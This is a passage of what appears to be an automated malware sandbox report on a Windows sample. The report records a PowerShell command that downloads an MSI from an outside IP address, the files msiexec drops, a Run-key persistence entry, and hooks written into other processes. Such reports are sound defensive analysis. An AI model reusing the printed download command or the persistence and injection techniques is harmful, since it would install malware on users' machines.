Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://34.68.151.162/arquivo.msi', 'C:\Users\user\AppData\Local\Temp\arquivo.msi')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://34.68.151.162/arquivo.msi', 'C:\Users\user\AppData\Local\Temp\arquivo.msi')"			Jump to behavior

Source: initial sample

Static PE information: section where entry point is pointing to: ._0T

Source: StarBurn.dll.7.dr	Static PE information: section name: .didata
Source: StarBurn.dll.7.dr	Static PE information: section name: .lbI
Source: StarBurn.dll.7.dr	Static PE information: section name: .4FN
Source: StarBurn.dll.7.dr	Static PE information: section name: ._0T

Source: C:\Windows\Installer\MSI7F24.tmp	Code function: 9_2_00AF81F0 push ecx; ret	9_2_00AF8203
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: 10_2_008281F0 push ecx; ret	10_2_00828203
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_009B4084 push ecx; mov dword ptr [esp], edx	13_2_009B4085
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_00982050 push ecx; mov dword ptr [esp], eax	13_2_00982051
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_009AC078 push ecx; mov dword ptr [esp], ecx	13_2_009AC07C
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_009711A0 push ecx; mov dword ptr [esp], eax	13_2_009711A1
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_009B11F8 push ecx; mov dword ptr [esp], ecx	13_2_009B11FC
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_009F6138 push ecx; mov dword ptr [esp], edx	13_2_009F613A
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_00969120 push 009691B9h; ret	13_2_009691B1
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_009B0154 push ecx; mov dword ptr [esp], edx	13_2_009B0155
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_009AF144 push ecx; mov dword ptr [esp], ecx	13_2_009AF148
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_00971170 push ecx; mov dword ptr [esp], eax	13_2_00971171
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_009AD160 push ecx; mov dword ptr [esp], ecx	13_2_009AD164
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_009B0164 push ecx; mov dword ptr [esp], edx	13_2_009B0165
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_009AA2D8 push ecx; mov dword ptr [esp], ecx	13_2_009AA2DC
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_009A9250 push ecx; mov dword ptr [esp], edx	13_2_009A9251
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_009AE3AC push ecx; mov dword ptr [esp], ecx	13_2_009AE3B0
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_009AD34C push ecx; mov dword ptr [esp], ecx	13_2_009AD350
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_009B24A8 push ecx; mov dword ptr [esp], edx	13_2_009B24A9
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_009B34A4 push ecx; mov dword ptr [esp], edx	13_2_009B34A5
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_009AA4C4 push ecx; mov dword ptr [esp], ecx	13_2_009AA4C8
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_009E95DC push ecx; mov dword ptr [esp], edx	13_2_009E95E1
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_009B5548 push ecx; mov dword ptr [esp], edx	13_2_009B5549
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_009846AC push ecx; mov dword ptr [esp], eax	13_2_009846AD
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_0095B6C8 push ecx; mov dword ptr [esp], eax	13_2_0095B6CA
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_009AF618 push ecx; mov dword ptr [esp], edx	13_2_009AF619
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_009AF608 push ecx; mov dword ptr [esp], edx	13_2_009AF609
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_009AD7EC push ecx; mov dword ptr [esp], eax	13_2_009AD7EE
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_0097E74C push 0097E7A3h; ret	13_2_0097E79B
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_009B0744 push ecx; mov dword ptr [esp], ecx	13_2_009B0748
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_0095B8A0 push ecx; mov dword ptr [esp], eax	13_2_0095B8A2

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\System32\msiexec.exe	Executable created and started: C:\Windows\Installer\MSI7F24.tmp			Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Executable created and started: C:\Windows\Installer\MSI7F35.tmp			Jump to behavior

Tries to download and execute files (via powershell)

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://34.68.151.162/arquivo.msi', 'C:\Users\user\AppData\Local\Temp\arquivo.msi')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://34.68.151.162/arquivo.msi', 'C:\Users\user\AppData\Local\Temp\arquivo.msi')"			Jump to behavior

Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\Pictures\fotosdaviagem\StarBurn.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7C03.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7CC1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7F35.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7AC9.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7C43.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7F24.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7B56.tmp	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7C03.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7CC1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7F35.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7AC9.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7C43.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7F24.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7B56.tmp	Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 171
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 174	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 171	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WinRAR			Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Telegram Desktop			Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Registry value created or modified: HKEY_CURRENT_USER\Microsoft\Windows\CurrentVersion\Run windows			Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Registry value created or modified: HKEY_CURRENT_USER\Microsoft\Windows\CurrentVersion\Run windows			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 9132 base: 5C0005 value: E9 8B 2F 94 76	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 9132 base: 76F02F90 value: E9 7A D0 6B 89	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 9132 base: 37C0005 value: E9 2B BA 70 73	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 9132 base: 76ECBA30 value: E9 DA 45 8F 8C	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 9132 base: 37D0008 value: E9 8B 8E 74 73	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 9132 base: 76F18E90 value: E9 80 71 8B 8C	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 9132 base: 3910005 value: E9 8B 4D 2E 72	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 9132 base: 75BF4D90 value: E9 7A B2 D1 8D	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 9132 base: 3920005 value: E9 EB EB 2E 72	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 9132 base: 75C0EBF0 value: E9 1A 14 D1 8D	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 9132 base: 3930005 value: E9 8B 8A 6A 71	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 9132 base: 74FD8A90 value: E9 7A 75 95 8E	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 9132 base: 3940005 value: E9 2B 02 6C 71	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 9132 base: 75000230 value: E9 DA FD 93 8E	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 4348 base: 710005 value: E9 8B 2F 7F 76	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 4348 base: 76F02F90 value: E9 7A D0 80 89	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 4348 base: 730005 value: E9 2B BA 79 76	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 4348 base: 76ECBA30 value: E9 DA 45 86 89	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 4348 base: 740008 value: E9 8B 8E 7D 76	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 4348 base: 76F18E90 value: E9 80 71 82 89	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 4348 base: 37F0005 value: E9 8B 4D 40 72	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 4348 base: 75BF4D90 value: E9 7A B2 BF 8D	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 4348 base: 3800005 value: E9 EB EB 40 72	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 4348 base: 75C0EBF0 value: E9 1A 14 BF 8D	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 4348 base: 3810005 value: E9 8B 8A 7C 71	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 4348 base: 74FD8A90 value: E9 7A 75 83 8E	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 4348 base: 3820005 value: E9 2B 02 7E 71	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 4348 base: 75000230 value: E9 DA FD 81 8E	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 7228 base: 600005 value: E9 8B 2F 90 76	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 7228 base: 76F02F90 value: E9 7A D0 6F 89	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 7228 base: 670005 value: E9 2B BA 85 76	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 7228 base: 76ECBA30 value: E9 DA 45 7A 89	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 7228 base: 680008 value: E9 8B 8E 89 76	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 7228 base: 76F18E90 value: E9 80 71 76 89	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 7228 base: 6A0005 value: E9 8B 4D 55 75	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 7228 base: 75BF4D90 value: E9 7A B2 AA 8A	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 7228 base: 6B0005 value: E9 EB EB 55 75	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 7228 base: 75C0EBF0 value: E9 1A 14 AA 8A	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 7228 base: 6C0005 value: E9 8B 8A 91 74	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 7228 base: 74FD8A90 value: E9 7A 75 6E 8B	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 7228 base: 3820005 value: E9 2B 02 7E 71	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 7228 base: 75000230 value: E9 DA FD 81 8E	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8244 base: 600005 value: E9 8B 2F 90 76	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8244 base: 76F02F90 value: E9 7A D0 6F 89	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8244 base: 740005 value: E9 2B BA 78 76	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8244 base: 76ECBA30 value: E9 DA 45 87 89	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8244 base: 750008 value: E9 8B 8E 7C 76	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8244 base: 76F18E90 value: E9 80 71 83 89	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8244 base: 770005 value: E9 8B 4D 48 75	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8244 base: 75BF4D90 value: E9 7A B2 B7 8A	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8244 base: 780005 value: E9 EB EB 48 75	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8244 base: 75C0EBF0 value: E9 1A 14 B7 8A	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8244 base: 790005 value: E9 8B 8A 84 74	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8244 base: 74FD8A90 value: E9 7A 75 7B 8B	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8244 base: 7A0005 value: E9 2B 02 86 74	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8244 base: 75000230 value: E9 DA FD 79 8B	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8236 base: 5C0005 value: E9 8B 2F 94 76	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8236 base: 76F02F90 value: E9 7A D0 6B 89	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8236 base: 37C0005 value: E9 2B BA 70 73	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8236 base: 76ECBA30 value: E9 DA 45 8F 8C	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8236 base: 37E0008 value: E9 8B 8E 73 73	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8236 base: 76F18E90 value: E9 80 71 8C 8C	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8236 base: 3800005 value: E9 8B 4D 3F 72	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8236 base: 75BF4D90 value: E9 7A B2 C0 8D	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8236 base: 3810005 value: E9 EB EB 3F 72	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8236 base: 75C0EBF0 value: E9 1A 14 C0 8D	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8236 base: 3820005 value: E9 8B 8A 7B 71	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8236 base: 74FD8A90 value: E9 7A 75 84 8E	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8236 base: 3830005 value: E9 2B 02 7D 71	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8236 base: 75000230 value: E9 DA FD 82 8E	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8240 base: 5C0005 value: E9 8B 2F 94 76	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8240 base: 76F02F90 value: E9 7A D0 6B 89	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8240 base: 740005 value: E9 2B BA 78 76	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8240 base: 76ECBA30 value: E9 DA 45 87 89	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8240 base: 750008 value: E9 8B 8E 7C 76	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8240 base: 76F18E90 value: E9 80 71 83 89	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8240 base: 770005 value: E9 8B 4D 48 75	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8240 base: 75BF4D90 value: E9 7A B2 B7 8A	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8240 base: 780005 value: E9 EB EB 48 75	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8240 base: 75C0EBF0 value: E9 1A 14 B7 8A	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8240 base: 790005 value: E9 8B 8A 84 74	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8240 base: 74FD8A90 value: E9 7A 75 7B 8B	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8240 base: 7A0005 value: E9 2B 02 86 74	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8240 base: 75000230 value: E9 DA FD 79 8B	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8880 base: 720005 value: E9 8B 2F 7E 76	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8880 base: 76F02F90 value: E9 7A D0 81 89	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8880 base: 740005 value: E9 2B BA 78 76	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8880 base: 76ECBA30 value: E9 DA 45 87 89	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8880 base: 750008 value: E9 8B 8E 7C 76	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8880 base: 76F18E90 value: E9 80 71 83 89	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8880 base: 780005 value: E9 8B 4D 47 75	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8880 base: 75BF4D90 value: E9 7A B2 B8 8A	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8880 base: 790005 value: E9 EB EB 47 75	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8880 base: 75C0EBF0 value: E9 1A 14 B8 8A	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8880 base: 7A0005 value: E9 8B 8A 83 74	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8880 base: 74FD8A90 value: E9 7A 75 7C 8B	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8880 base: 3930005 value: E9 2B 02 6D 71	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Memory written: PID: 8880 base: 75000230 value: E9 DA FD 92 8E	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
